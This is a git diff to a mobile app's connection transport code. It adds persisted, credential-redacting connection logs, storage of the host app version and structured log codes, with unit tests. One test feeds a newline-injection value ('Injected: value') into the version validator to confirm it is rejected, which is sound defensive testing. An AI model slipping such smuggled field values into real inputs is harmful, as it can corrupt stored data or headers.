@@ -149,9 +157,8 @@ export function useTerminalLivePendingInputFlush<TTabType extends string>({
   }, [runMirrorStep])
 
   const applyLiveInputMirror = useCallback(
-    (handle: string, fieldText: string, composing?: boolean): void => {
-      void runMirrorStep(handle, fieldText, false, composing)
-    },
+    (handle: string, fieldText: string, composing?: boolean): Promise<boolean> =>
+      runMirrorStep(handle, fieldText, false, composing),
     [runMirrorStep]
   )
 
@@ -187,6 +194,7 @@ export function useTerminalLivePendingInputFlush<TTabType extends string>({
         heldCommitTimerRef.current = null
       }
       heldLiveInputTextRef.current = ''
+      liveInputComposingRef.current = undefined
       sentLiveInputTextRef.current = ''
       pendingLiveInputHandleRef.current = null
       cancelTerminalLivePendingFlush(pendingLiveInputFlushRef.current)
@@ -198,6 +206,7 @@ export function useTerminalLivePendingInputFlush<TTabType extends string>({
     clearPendingLiveInputCommit,
     flushPendingLiveInputText,
     heldLiveInputTextRef,
+    liveInputComposingRef,
     pendingLiveInputHandleRef,
     sentLiveInputTextRef,
     waitForPendingLiveInputFlush
diff --git a/mobile/src/transport/client-context-connection-metrics.ts b/mobile/src/transport/client-context-connection-metrics.ts
index fa085d85423..1e2ff6f7919 100644
--- a/mobile/src/transport/client-context-connection-metrics.ts
+++ b/mobile/src/transport/client-context-connection-metrics.ts
@@ -1,5 +1,6 @@
 import { useEffect, useState } from 'react'
-import { useRpcClientContext, type RpcClientContextValue } from './client-context'
+import { useRpcClientContext } from './client-context'
+import type { RpcClientContextValue } from './rpc-client-context-contract'
 import type { MobileConnectionPath } from './stable-logical-rpc-client'
 
 export function useReconnectAttempt(hostId: string | undefined): number {
@@ -10,6 +11,20 @@ export function useLastConnectedAt(hostId: string | undefined): number | null {
   return useHostMetric(hostId, (context, id) => context.getLastConnectedAt(id), null)
 }
 
+export function useConnectionPathStatus(hostId: string | undefined): {
+  activePath: MobileConnectionPath
+  pendingPath: MobileConnectionPath | null
+} {
+  return useHostMetric(
+    hostId,
+    (context, id) => ({
+      activePath: context.getActivePath(id),
+      pendingPath: context.getPendingPath(id)
+    }),
+    { activePath: 'lan', pendingPath: null }
+  )
+}
+
 // Both inputs classifyConnection needs about a relay recovery, read from one
 // subscription so a screen cannot render half of the escalation.
 export function useRelayRecoveryStatus(hostId: string | undefined): {
diff --git a/mobile/src/transport/client-context.tsx b/mobile/src/transport/client-context.tsx
index d525d60d6d5..f83519940c1 100644
--- a/mobile/src/transport/client-context.tsx
+++ b/mobile/src/transport/client-context.tsx
@@ -21,6 +21,7 @@ import {
 import { HostOpenRetryScheduler } from './host-open-retry-scheduler'
 import { openHostClientEntry, type HostClientStoreEntry } from './host-entry-opener'
 import { shouldPreserveActiveRelay } from './relay-reconnect-preservation'
+import { recordConnectionRevival } from './persisted-connection-log-store'
 import {
   createHostClientSelectors,
   listHostClients,
@@ -35,8 +36,6 @@ import type { ConnectionState, HostProfile } from './types'
 import type { RpcClientContextValue } from './rpc-client-context-contract'
 
 type StoreEntry = HostClientStoreEntry
-export type { HostClientAcquisition } from './host-client-acquisition-registry'
-export type { RpcClientContextValue } from './rpc-client-context-contract'
 
 const Ctx = createContext<RpcClientContextValue | null>(null)
 
@@ -311,7 +310,8 @@ export function RpcClientProvider({ children }: { children: ReactNode }) {
       for (const hostId of pendingAcquisitionsRef.current.keys()) {
         retrySchedulerRef.current?.expedite(hostId)
       }
-      for (const entry of storeRef.current.values()) {
+      for (const [hostId, entry] of storeRef.current) {
+        recordConnectionRevival(hostId, reason)
         try {
           entry.client.notifyForeground(reason)
         } catch {
diff --git a/mobile/src/transport/connection-log-buffer.test.ts b/mobile/src/transport/connection-log-buffer.test.ts
index e7ce662534b..51d8bbb044d 100644
--- a/mobile/src/transport/connection-log-buffer.test.ts
+++ b/mobile/src/transport/connection-log-buffer.test.ts
@@ -53,4 +53,154 @@ describe('connection log buffer', () => {
     store.append('host-a', entry(2))
     expect(onA).toHaveBeenCalledTimes(1)
   })
+
+  it('hydrates persisted history without dropping events recorded during app startup', async () => {
+    let finishLoad: (entries: readonly ConnectionLogEntry[]) => void = () => {}
+    const load = vi.fn(
+      () =>
+        new Promise<readonly ConnectionLogEntry[]>((resolve) => {
+          finishLoad = resolve
+        })
+    )
+    const save = vi.fn(async () => {})
+    const store = createConnectionLogStore(3, { load, save })
+
+    store.append('host-a', entry(3))
+    finishLoad([entry(1), entry(2)])
+    await store.hydrate('host-a')
+
+    expect(store.get('host-a').map((e) => e.id)).toEqual(['log-1', 'log-2', 'log-3'])
+    await vi.waitFor(() => expect(save).toHaveBeenCalled())
+    expect(save).toHaveBeenLastCalledWith('host-a', [entry(1), entry(2), entry(3)])
+  })
+
+  it('redacts credentials before retaining or persisting an event', async () => {
+    const save = vi.fn(async () => {})
+    const store = createConnectionLogStore(3, { load: async () => [], save })
+
+    store.append('host-a', {
+      ...entry(1),
+      detail: 'resumeToken=do-not-copy deviceToken:also-secret'
+    })
+    await store.hydrate('host-a')
+
+    expect(store.get('host-a')[0]?.detail).toBe('resumeToken=[redacted] deviceToken:[redacted]')
+    await vi.waitFor(() => expect(save).toHaveBeenCalled())
+    expect(JSON.stringify(save.mock.calls)).not.toContain('do-not-copy')
+    expect(JSON.stringify(save.mock.calls)).not.toContain('also-secret')
+  })
+
+  it('redacts quoted credential values when the object key is unquoted', async () => {
+    const store = createConnectionLogStore(3, { load: async () => [], save: async () => {} })
+
+    store.append('host-a', {
+      ...entry(1),
+      detail: `resumeToken: 'secret-one' deviceToken="secret-two"`
+    })
+    await store.hydrate('host-a')
+
+    expect(store.get('host-a')[0]?.detail).toBe(
+      `resumeToken: '[redacted]' deviceToken="[redacted]"`
+    )
+  })
+
+  it('redacts the full quoted credential when its value contains an escaped quote', async () => {
+    const store = createConnectionLogStore(3, { load: async () => [], save: async () => {} })
+
+    store.append('host-a', {
+      ...entry(1),
+      detail: String.raw`{"token":"secret\"tail"} token: 'secret\'tail'`
+    })
+    await store.hydrate('host-a')
+
+    expect(store.get('host-a')[0]?.detail).toBe(`{"token":"[redacted]"} token: '[redacted]'`)
+  })
+
+  it('redacts unterminated quoted credentials', async () => {
+    const store = createConnectionLogStore(3, { load: async () => [], save: async () => {} })
+
+    store.append('host-a', {
+      ...entry(1),
+      message: 'token="secret',
+      detail: '{"authorization":"Bearer also-secret'
+    })
+    await store.hydrate('host-a')
+
+    expect(store.get('host-a')[0]).toMatchObject({
+      message: 'token="[redacted]',
+      detail: '{"authorization":"[redacted]'
+    })
+  })
+
+  it('redacts URL userinfo through the last authority separator', async () => {
+    const store = createConnectionLogStore(3, { load: async () => [], save: async () => {} })
+
+    store.append('host-a', {
+      ...entry(1),
+      message: 'wss://user:p@ss@example.com/x',
+      detail: 'https://user:pass@example.com/x'
+    })
+    await store.hydrate('host-a')
+
+    expect(store.get('host-a')[0]).toMatchObject({
+      message: 'wss://[redacted]@example.com/x',
+      detail: 'https://[redacted]@example.com/x'
+    })
+  })
+
+  it('does not overwrite persisted history when hydration fails and retries later', async () => {
+    const load = vi
+      .fn<() => Promise<readonly ConnectionLogEntry[]>>()
+      .mockRejectedValueOnce(new Error('storage unavailable'))
+      .mockResolvedValueOnce([entry(1)])
+    const save = vi.fn(async () => {})
+    const store = createConnectionLogStore(3, { load, save })
+
+    store.append('host-a', entry(2))
+    await expect(store.hydrate('host-a')).rejects.toThrow('storage unavailable')
+    expect(save).not.toHaveBeenCalled()
+
+    await store.hydrate('host-a')
+    expect(store.get('host-a').map((value) => value.id)).toEqual(['log-1', 'log-2'])
+  })
+
+  it('preserves legacy entries that reused the same event id', async () => {
+    const store = createConnectionLogStore(3, {
+      load: async () => [entry(1), { ...entry(2), id: 'log-1' }],
+      save: async () => {}
+    })
+
+    await store.hydrate('host-a')
+
+    expect(store.get('host-a').map((value) => value.message)).toEqual(['event 1', 'event 2'])
+  })
+
+  it('retries one transient persistence failure without requiring another append', async () => {
+    const save = vi.fn().mockResolvedValue(undefined)
+    const store = createConnectionLogStore(3, { load: async () => [], save })
+
+    await store.hydrate('host-a')
+    await vi.waitFor(() => expect(save).toHaveBeenCalled())
+    save.mockReset()
+    save.mockRejectedValueOnce(new Error('storage unavailable')).mockResolvedValueOnce(undefined)
+    store.append('host-a', entry(1))
+
+    await vi.waitFor(() => expect(save).toHaveBeenCalledTimes(2))
+    expect(save).toHaveBeenLastCalledWith('host-a', [entry(1)])
+  })
+
+  it('does not retry failed automatic hydration for every appended event', async () => {
+    const load = vi.fn().mockRejectedValue(new Error('storage unavailable'))
+    const store = createConnectionLogStore(3, { load, save: async () => {} })
+
+    store.append('host-a', entry(1))
+    await expect(store.hydrate('host-a')).rejects.toThrow('storage unavailable')
+    store.append('host-a', entry(2))
+    store.append('host-a', entry(3))
+    await Promise.resolve()
+
+    expect(load).toHaveBeenCalledTimes(1)
+    await expect(store.hydrate('host-a')).rejects.toThrow('storage unavailable')
+    expect(load).toHaveBeenCalledTimes(2)
+  })
 })
diff --git a/mobile/src/transport/connection-log-buffer.ts b/mobile/src/transport/connection-log-buffer.ts
index 1b223ad8e1f..941f7971498 100644
--- a/mobile/src/transport/connection-log-buffer.ts
+++ b/mobile/src/transport/connection-log-buffer.ts
@@ -1,4 +1,5 @@
 import type { ConnectionLogEntry } from './types'
+import { redactConnectionLogEntry } from '../diagnostics/connection-log-redaction'
 
 // Why: the rpc-client's onLog entries were only wired during pairing; for
 // long-lived host connections everything went to console.log, invisible to
@@ -12,20 +13,108 @@ const MAX_ENTRIES_PER_HOST = 200
 export type ConnectionLogStore = {
   append: (hostId: string, entry: ConnectionLogEntry) => void
   get: (hostId: string) => readonly ConnectionLogEntry[]
+  hydrate: (hostId: string) => Promise<void>
   subscribe: (hostId: string, listener: () => void) => () => void
 }
 
+export type ConnectionLogPersistence = {
+  load: (hostId: string) => Promise<readonly ConnectionLogEntry[]>
+  save: (hostId: string, entries: readonly ConnectionLogEntry[]) => Promise<void>
+}
+
 export function createConnectionLogStore(
-  maxEntriesPerHost: number = MAX_ENTRIES_PER_HOST
+  maxEntriesPerHost: number = MAX_ENTRIES_PER_HOST,
+  persistence?: ConnectionLogPersistence
 ): ConnectionLogStore {
   const entriesByHost = new Map<string, ConnectionLogEntry[]>()
   const listenersByHost = new Map<string, Set<() => void>>()
+  const hydratedHosts = new Set<string>()
+  const hydrationFailedHosts = new Set<string>()
+  const hydrationByHost = new Map<string, Promise<void>>()
+  const saveByHost = new Map<string, Promise<void>>()
   // Why: useSyncExternalStore compares snapshots by reference — getSnapshot
   // must return the SAME array until the data actually changes, or React
   // loops re-rendering. Cache per host; invalidate on append.
   const snapshotByHost = new Map<string, readonly ConnectionLogEntry[]>()
   const EMPTY: readonly ConnectionLogEntry[] = []
 
+  const trim = (entries: ConnectionLogEntry[]): void => {
+    if (entries.length > maxEntriesPerHost) {
+      entries.splice(0, entries.length - maxEntriesPerHost)
+    }
+  }
+
+  const notify = (hostId: string): void => {
+    snapshotByHost.delete(hostId)
+    const listeners = listenersByHost.get(hostId)
+    if (listeners) {
+      for (const listener of listeners) {
+        listener()
+      }
+    }
+  }
+
+  const persist = (hostId: string): void => {
+    if (!persistence || !hydratedHosts.has(hostId)) {
+      return
+    }
+    const snapshot = [...(entriesByHost.get(hostId) ?? [])]
+    const previous = saveByHost.get(hostId) ?? Promise.resolve()
+    const pending = previous
+      .catch(() => {})
+      .then(async () => {
+        try {
+          await persistence.save(hostId, snapshot)
+        } catch {
+          await persistence.save(hostId, snapshot)
+        }
+      })
+      .catch(() => {})
+    saveByHost.set(hostId, pending)
+  }
+
+  const hydrateHost = async (hostId: string, retryAfterFailure: boolean): Promise<void> => {
+    if (!persistence || hydratedHosts.has(hostId)) {
+      return
+    }
+    const existing = hydrationByHost.get(hostId)
+    if (existing) {
+      return existing
+    }
+    if (!retryAfterFailure && hydrationFailedHosts.has(hostId)) {
+      return
+    }
+    const pending = persistence
+      .load(hostId)
+      .then((stored) => {
+        const live = entriesByHost.get(hostId) ?? []
+        const seen = new Set<string>()
+        const merged: ConnectionLogEntry[] = []
+        for (const entry of [...stored, ...live]) {
+          const redacted = redactConnectionLogEntry(entry)
+          const fingerprint = JSON.stringify(redacted)
+          if (!seen.has(fingerprint)) {
+            seen.add(fingerprint)
+            merged.push(redacted)
+          }
+        }
+        merged.sort((a, b) => a.ts - b.ts)
+        trim(merged)
+        entriesByHost.set(hostId, merged)
+        hydratedHosts.add(hostId)
+        hydrationFailedHosts.delete(hostId)
+        notify(hostId)
+        persist(hostId)
+      })
+      .catch((error: unknown) => {
+        hydrationFailedHosts.add(hostId)
+        throw error
+      })
+      .finally(() => hydrationByHost.delete(hostId))
+    hydrationByHost.set(hostId, pending)
+    return pending
+  }
+
   return {
     append(hostId, entry) {
       let entries = entriesByHost.get(hostId)
@@ -33,17 +122,12 @@ export function createConnectionLogStore(
         entries = []
         entriesByHost.set(hostId, entries)
       }
-      entries.push(entry)
-      if (entries.length > maxEntriesPerHost) {
-        entries.splice(0, entries.length - maxEntriesPerHost)
-      }
-      snapshotByHost.delete(hostId)
-      const listeners = listenersByHost.get(hostId)
-      if (listeners) {
-        for (const listener of listeners) {
-          listener()
-        }
-      }
+      entries.push(redactConnectionLogEntry(entry))
+      trim(entries)
+      notify(hostId)
+      void hydrateHost(hostId, false)
+        .then(() => persist(hostId))
+        .catch(() => {})
     },
 
     get(hostId) {
@@ -60,6 +144,8 @@ export function createConnectionLogStore(
       return snapshot
     },
 
+    hydrate: (hostId) => hydrateHost(hostId, true),
+
     subscribe(hostId, listener) {
       let listeners = listenersByHost.get(hostId)
       if (!listeners) {
@@ -80,5 +166,3 @@ export function createConnectionLogStore(
     }
   }
 }
-
-export const connectionLogStore = createConnectionLogStore()
diff --git a/mobile/src/transport/direct-connection-log.ts b/mobile/src/transport/direct-connection-log.ts
new file mode 100644
index 00000000000..ef805e643c5
--- /dev/null
+++ b/mobile/src/transport/direct-connection-log.ts
@@ -0,0 +1,46 @@
+import { isTailscaleEndpoint } from '../../../src/shared/remote-runtime-tailscale-hint'
+import type { LivenessTimeoutEvidence } from './rpc-session-liveness-watchdog'
+import type {
+  ConnectionLogEntry,
+  ConnectionLogLevel,
+  ConnectionLogSink,
+  MobileConnectionDiagnosticPath
+} from './types'
+
+export class DirectConnectionLog {
+  private sequence = 0
+  private readonly path: MobileConnectionDiagnosticPath
+
+  constructor(
+    endpoint: string,
+    private readonly sink?: ConnectionLogSink
+  ) {
+    this.path = isTailscaleEndpoint(endpoint) ? 'tailscale' : 'lan'
+  }
+
+  emit = (
+    level: ConnectionLogLevel,
+    message: string,
+    detail?: string,
+    evidence?: Pick<ConnectionLogEntry, 'code' | 'path'>
+  ): void => {
+    this.sink?.({
+      id: `log-${++this.sequence}-${Date.now()}`,
+      ts: Date.now(),
+      level,
+      message,
+      detail,
+      ...evidence,
+      path: evidence?.path ?? this.path
+    })
+  }
+
+  livenessTimeout = (evidence: LivenessTimeoutEvidence): void => {
+    this.emit(
+      'error',
+      'Connection health check failed',
+      `${evidence.reason}; ${evidence.missedProbes}/${evidence.missedProbeLimit} probes missed; last authenticated activity ${evidence.lastInboundAgeMs}ms ago`,
+      { code: 'liveness-timeout' }
+    )
+  }
+}
diff --git a/mobile/src/transport/direct-rpc-client.ts b/mobile/src/transport/direct-rpc-client.ts
index 4ac7e9fb361..36ed573aa5b 100644
--- a/mobile/src/transport/direct-rpc-client.ts
+++ b/mobile/src/transport/direct-rpc-client.ts
@@ -1,4 +1,5 @@
 import type { ConnectOptions, RpcClient, SendRequestOptions } from './rpc-client'
+import { DirectConnectionLog } from './direct-connection-log'
 import { RpcClientAuthenticationRetry } from './rpc-client-authentication-retry'
 import { RpcClientConnectionState } from './rpc-client-connection-state'
 import {
@@ -16,12 +17,7 @@ import {
 } from './rpc-client-stream-registry'
 import { RpcSessionLivenessWatchdog } from './rpc-session-liveness-watchdog'
 import { isStaleForegroundDial } from './rpc-stale-dial'
-import type {
-  ConnectionLogLevel,
-  ConnectionState,
-  ForegroundNudgeReason,
-  RpcResponse
-} from './types'
+import type { ConnectionState, ForegroundNudgeReason, RpcResponse } from './types'
 
 const LIVENESS_REQUEST_ID_PREFIX = 'mobile-liveness-'
 
@@ -36,7 +32,7 @@ export class DirectRpcClient implements RpcClient {
   private readonly authenticationRetry: RpcClientAuthenticationRetry
   private readonly socketClose: RpcClientSocketCloseController
   private requestCounter = 0
-  private logCounter = 0
+  private readonly connectionLog: DirectConnectionLog
   private intentionallyClosed = false
   private authenticationGeneration = 0
   private livenessSession: RpcClientSocketSession | null = null
@@ -47,10 +43,12 @@ export class DirectRpcClient implements RpcClient {
     serverPublicKeyB64: string,
     private readonly options: ConnectOptions
   ) {
+    this.connectionLog = new DirectConnectionLog(endpoint, options.onLog)
     this.reconnect = new RpcClientReconnectSchedule({
       openConnection: () => this.openConnection(),
       rejectConnectWaiters: (reason) => this.connectionState.rejectWaiters(reason),
-      emitLog: (message, detail) => this.emitLog('info', message, detail)
+      emitLog: (message, detail) =>
+        this.connectionLog.emit('info', message, detail, { code: 'retry-scheduled' })
     })
     this.connectionState = new RpcClientConnectionState({
       endpoint,
@@ -78,7 +76,8 @@ export class DirectRpcClient implements RpcClient {
         if (identity === this.livenessSession && this.socketSession === this.livenessSession) {
           this.socketClose.forceClose(this.livenessSession)
         }
-      }
+      },
+      onTimeout: this.connectionLog.livenessTimeout
     })
     this.socketFactory = new RpcClientSocketFactory({
       endpoint,
@@ -89,7 +88,7 @@ export class DirectRpcClient implements RpcClient {
       getReconnectAttempt: () => this.getReconnectAttempt(),
       getLastConnectedAt: () => this.getLastConnectedAt(),
       isIntentionallyClosed: () => this.intentionallyClosed,
-      emitLog: (level, message, detail) => this.emitLog(level, message, detail),
+      emitLog: this.connectionLog.emit,
       onHandshakeStarted: () => this.connectionState.publish('handshaking'),
       onAuthenticated: (session) => this.handleAuthenticated(session),
       onAuthRejected: (reason) => this.authenticationRetry.reject(reason),
@@ -102,7 +101,8 @@ export class DirectRpcClient implements RpcClient {
     this.authenticationRetry = new RpcClientAuthenticationRetry({
       endpoint,
       stopLiveness: () => this.stopLiveness(),
-      emitWarning: (message, detail) => this.emitLog('warn', message, detail),
+      emitWarning: (message, detail) =>
+        this.connectionLog.emit('warn', message, detail, { code: 'authentication-rejected' }),
       retry: (reason) => this.retryAuthentication(reason),
       latchFailure: (reason) => this.latchAuthenticationFailure(reason)
     })
@@ -122,7 +122,8 @@ export class DirectRpcClient implements RpcClient {
           this.stopLiveness()
         }
       },
-      emitWarning: (message, detail) => this.emitLog('warn', message, detail)
+      emitWarning: (message, detail, evidence) =>
+        this.connectionLog.emit('warn', message, detail, evidence)
     })
     this.openConnection()
   }
@@ -232,7 +233,9 @@ export class DirectRpcClient implements RpcClient {
     this.reconnect.authenticated()
     this.authenticationRetry.accepted()
     this.connectionState.publish('connected')
-    this.emitLog('success', 'Authenticated', 'Channel ready for RPC')
+    this.connectionLog.emit('success', 'Authenticated', 'Channel ready for RPC', {
+      code: 'direct-connected'
+    })
     this.streams.replayAfterAuthentication()
   }
 
@@ -311,14 +314,4 @@ export class DirectRpcClient implements RpcClient {
   private nextId(): string {
     return `rpc-${++this.requestCounter}-${Date.now()}`
   }
-
-  private emitLog(level: ConnectionLogLevel, message: string, detail?: string): void {
-    this.options.onLog?.({
-      id: `log-${++this.logCounter}-${Date.now()}`,
-      ts: Date.now(),
-      level,
-      message,
-      detail
-    })
-  }
 }
diff --git a/mobile/src/transport/host-app-version-store.test.ts b/mobile/src/transport/host-app-version-store.test.ts
new file mode 100644
index 00000000000..a9f9f92d105
--- /dev/null
+++ b/mobile/src/transport/host-app-version-store.test.ts
@@ -0,0 +1,52 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const asyncStorageMock = vi.hoisted(() => ({
+  getItem: vi.fn(),
+  setItem: vi.fn()
+}))
+
+vi.mock('@react-native-async-storage/async-storage', () => ({
+  default: asyncStorageMock
+}))
+
+import {
+  loadHostAppVersion,
+  normalizeHostAppVersion,
+  recordHostAppVersion
+} from './host-app-version-store'
+
+describe('host app version store', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+    asyncStorageMock.getItem.mockResolvedValue(null)
+    asyncStorageMock.setItem.mockResolvedValue(undefined)
+  })
+
+  it('persists a bounded version once per host', async () => {
+    asyncStorageMock.getItem.mockResolvedValueOnce(null).mockResolvedValueOnce('1.4.191')
+
+    await recordHostAppVersion('host-1', ' 1.4.191 ')
+    await recordHostAppVersion('host-1', '1.4.191')
+
+    expect(asyncStorageMock.setItem).toHaveBeenCalledOnce()
+    expect(asyncStorageMock.setItem).toHaveBeenCalledWith(
+      'orca:host-app-version:v1:host-1',
+      '1.4.191'
+    )
+  })
+
+  it('loads a previously observed version without requiring a live host', async () => {
+    asyncStorageMock.getItem.mockResolvedValue('1.4.188')
+
+    await expect(loadHostAppVersion('host-1')).resolves.toBe('1.4.188')
+  })
+
+  it('rejects multiline, empty, and oversized host-provided values', async () => {
+    expect(normalizeHostAppVersion('1.4.191\nInjected: value')).toBeNull()
+    expect(normalizeHostAppVersion('   ')).toBeNull()
+    expect(normalizeHostAppVersion('x'.repeat(65))).toBeNull()
+
+    await recordHostAppVersion('host-1', '1.4.191\nInjected: value')
+    expect(asyncStorageMock.setItem).not.toHaveBeenCalled()
+  })
+})
diff --git a/mobile/src/transport/host-app-version-store.ts b/mobile/src/transport/host-app-version-store.ts
new file mode 100644
index 00000000000..9c649cd2d0c
--- /dev/null
+++ b/mobile/src/transport/host-app-version-store.ts
@@ -0,0 +1,47 @@
+import AsyncStorage from '@react-native-async-storage/async-storage'
+
+const STORAGE_KEY_PREFIX = 'orca:host-app-version:v1:'
+const MAX_VERSION_LENGTH = 64
+
+export function normalizeHostAppVersion(value: unknown): string | null {
+  if (typeof value !== 'string') {
+    return null
+  }
+  const normalized = value.trim()
+  if (
+    normalized.length === 0 ||
+    normalized.length > MAX_VERSION_LENGTH ||
+    normalized.includes('\n') ||
+    normalized.includes('\r')
+  ) {
+    return null
+  }
+  return normalized
+}
+
+export async function loadHostAppVersion(hostId: string): Promise<string | null> {
+  try {
+    return normalizeHostAppVersion(await AsyncStorage.getItem(storageKey(hostId)))
+  } catch {
+    return null
+  }
+}
+
+export async function recordHostAppVersion(hostId: string, value: unknown): Promise<void> {
+  const appVersion = normalizeHostAppVersion(value)
+  if (!appVersion) {
+    return
+  }
+  try {
+    const key = storageKey(hostId)
+    if (normalizeHostAppVersion(await AsyncStorage.getItem(key)) !== appVersion) {
+      await AsyncStorage.setItem(key, appVersion)
+    }
+  } catch {
+    // Best-effort diagnostic metadata must never affect host connectivity.
+  }
+}
+
+function storageKey(hostId: string): string {
+  return `${STORAGE_KEY_PREFIX}${hostId}`
+}
diff --git a/mobile/src/transport/host-entry-opener.ts b/mobile/src/transport/host-entry-opener.ts
index 092d205bb75..6e29f55d985 100644
--- a/mobile/src/transport/host-entry-opener.ts
+++ b/mobile/src/transport/host-entry-opener.ts
@@ -1,4 +1,7 @@
-import { connectionLogStore } from './connection-log-buffer'
+import {
+  connectionLogStore,
+  recordConnectionClientSessionStart
+} from './persisted-connection-log-store'
 import { loadHosts } from './host-store'
 import { openHostLogicalClient } from './host-logical-client'
 import type { HostClientOpenRegistry } from './host-client-open-registry'
@@ -65,6 +68,7 @@ export async function openHostClientEntry(
       id: `host-open-${ticket.generation}-${Date.now()}`,
       ts: Date.now(),
       level: 'error',
+      code: 'host-open-failed',
       message: 'Host client open failed',
       detail: `${category}; retry ${retry.nextDelayMs}ms (failure ${retry.failureCount})`
     })
@@ -98,6 +102,7 @@ export async function openHostClientEntry(
 
     let client: RpcClient
     try {
+      recordConnectionClientSessionStart(hostId)
       client = openHostLogicalClient(host, (entry) => connectionLogStore.append(hostId, entry))
     } catch {
       failCurrentOpen('client-construction')
diff --git a/mobile/src/transport/host-status-gates.test.ts b/mobile/src/transport/host-status-gates.test.ts
index f0454243703..7820eebc0d7 100644
--- a/mobile/src/transport/host-status-gates.test.ts
+++ b/mobile/src/transport/host-status-gates.test.ts
@@ -4,6 +4,13 @@ import { describe, expect, it, vi } from 'vitest'
 import type { RpcClient } from './rpc-client'
 import { useHostStatusGates, type HostStatusGates } from './host-status-gates'
 
+const recordHostAppVersionMock = vi.hoisted(() => vi.fn().mockResolvedValue(undefined))
+
+vi.mock('./host-app-version-store', () => ({
+  normalizeHostAppVersion: (value: unknown) => (typeof value === 'string' ? value : null),
+  recordHostAppVersion: (...args: unknown[]) => recordHostAppVersionMock(...args)
+}))
+
 describe('useHostStatusGates', () => {
   it('clears every prior-host gate and ignores its late response while the client is replaced', async () => {
     let resolveOldStatus: ((response: unknown) => void) | null = null
@@ -76,6 +83,7 @@ describe('useHostStatusGates', () => {
     const sendRequest = vi.fn().mockResolvedValue({
       ok: true,
       result: {
+        appVersion: '1.4.191',
         capabilities: ['browser.screencast.v1'],
         floatingWorkspaceEnabled: true
       }
@@ -95,11 +103,13 @@ describe('useHostStatusGates', () => {
         await Promise.resolve()
       })
       expect(gates).toMatchObject({
+        desktopAppVersion: '1.4.191',
         hostCapabilities: ['browser.screencast.v1'],
         floatingWorkspaceEnabled: true
       })
 
       expect(sendRequest).toHaveBeenCalledOnce()
+      expect(recordHostAppVersionMock).toHaveBeenCalledWith('host-1', '1.4.191')
     } finally {
       renderer?.unmount()
     }
diff --git a/mobile/src/transport/host-status-gates.ts b/mobile/src/transport/host-status-gates.ts
index f9837a8ac17..91f0205a5c7 100644
--- a/mobile/src/transport/host-status-gates.ts
+++ b/mobile/src/transport/host-status-gates.ts
@@ -3,10 +3,12 @@ import type { RpcClient } from './rpc-client'
 import type { ConnectionState, RpcSuccess } from './types'
 import { evaluateCompat, type CompatVerdict } from './protocol-compat'
 import type { DesktopStatus } from '../worktree/host-worktree-rpc-types'
+import { normalizeHostAppVersion, recordHostAppVersion } from './host-app-version-store'
 
 export type HostStatusGates = {
   hostCapabilities: string[]
   floatingWorkspaceEnabled: boolean
+  desktopAppVersion: string | null
   compatVerdict: CompatVerdict
   statusPending: boolean
 }
@@ -53,6 +55,7 @@ export function useHostStatusGates(args: {
           settle({
             hostCapabilities: [],
             floatingWorkspaceEnabled: false,
+            desktopAppVersion: null,
             compatVerdict: { kind: 'ok' }
           })
           return
@@ -64,9 +67,14 @@ export function useHostStatusGates(args: {
           desktopProtocolVersion: status.protocolVersion,
           desktopMinCompatibleMobileVersion: status.minCompatibleMobileVersion
         })
+        const desktopAppVersion = normalizeHostAppVersion(status.appVersion)
+        if (hostId && desktopAppVersion) {
+          void recordHostAppVersion(hostId, desktopAppVersion)
+        }
         settle({
           hostCapabilities: status.capabilities ?? [],
           floatingWorkspaceEnabled: status.floatingWorkspaceEnabled === true,
+          desktopAppVersion,
           compatVerdict: verdict
         })
         if (verdict.kind === 'blocked') {
@@ -84,6 +92,7 @@ export function useHostStatusGates(args: {
           settle({
             hostCapabilities: [],
             floatingWorkspaceEnabled: false,
+            desktopAppVersion: null,
             compatVerdict: { kind: 'ok' }
           })
         }
@@ -100,6 +109,7 @@ export function useHostStatusGates(args: {
     return {
       hostCapabilities: EMPTY_HOST_CAPABILITIES,
       floatingWorkspaceEnabled: false,
+      desktopAppVersion: null,
       compatVerdict: { kind: 'ok' },
       statusPending: connState === 'connected' && client !== null
     }
@@ -107,6 +117,7 @@ export function useHostStatusGates(args: {
   return {
     hostCapabilities: proven.hostCapabilities,
     floatingWorkspaceEnabled: proven.floatingWorkspaceEnabled,
+    desktopAppVersion: proven.desktopAppVersion,
     compatVerdict: proven.compatVerdict,
     // Why (F10): unchanged pending timing — the reconnect refetch is still "unknown", it just no
     // longer blanks the capabilities this same host already proved.
diff --git a/mobile/src/transport/mobile-endpoint-lifecycle.ts b/mobile/src/transport/mobile-endpoint-lifecycle.ts
index 76ba92547e0..8ee8df6948e 100644
--- a/mobile/src/transport/mobile-endpoint-lifecycle.ts
+++ b/mobile/src/transport/mobile-endpoint-lifecycle.ts
@@ -93,7 +93,8 @@ function createSupervisor(
         resumeCredentialVersion: credential.version,
         resumeConfirmReqId: confirmReqId,
         deviceToken: host.deviceToken,
-        desktopPublicKeyB64: host.publicKeyB64
+        desktopPublicKeyB64: host.publicKeyB64,
+        onLog
       }),
     resolveRelay: resolveMobileRelayEndpoint,
     readBundle: readMobileRelayCredentialBundle,
diff --git a/mobile/src/transport/mobile-endpoint-supervisor.test.ts b/mobile/src/transport/mobile-endpoint-supervisor.test.ts
index 1bce6800ea8..aeb9cddef63 100644
--- a/mobile/src/transport/mobile-endpoint-supervisor.test.ts
+++ b/mobile/src/transport/mobile-endpoint-supervisor.test.ts
@@ -234,8 +234,10 @@ describe('mobile endpoint supervisor', () => {
       .fn()
       .mockReturnValueOnce(new FakeRelaySession('connected', new RelayOuterError(4429)))
       .mockImplementation(() => new FakeRelaySession('connected'))
+    const onLog = vi.fn()
     const deps = dependencies({
       openRelay,
+      onLog,
       randomBytes: () => new Uint8Array([128, 0])
     })
     const supervisor = new MobileEndpointSupervisor(logical, host, deps)
@@ -245,6 +247,13 @@ describe('mobile endpoint supervisor', () => {
 
     expect(openRelay).toHaveBeenCalledOnce()
     expect(logical.getPendingPath()).toBe('relay')
+    expect(onLog).toHaveBeenCalledWith(
+      expect.objectContaining({
+        code: 'relay-session-failed',
+        path: 'relay',
+        message: 'Relay: active relay session failed'
+      })
+    )
     await vi.advanceTimersByTimeAsync(249)
     expect(openRelay).toHaveBeenCalledOnce()
     await vi.advanceTimersByTimeAsync(1)
diff --git a/mobile/src/transport/mobile-endpoint-supervisor.ts b/mobile/src/transport/mobile-endpoint-supervisor.ts
index ac41e748954..6fca6c0cc17 100644
--- a/mobile/src/transport/mobile-endpoint-supervisor.ts
+++ b/mobile/src/transport/mobile-endpoint-supervisor.ts
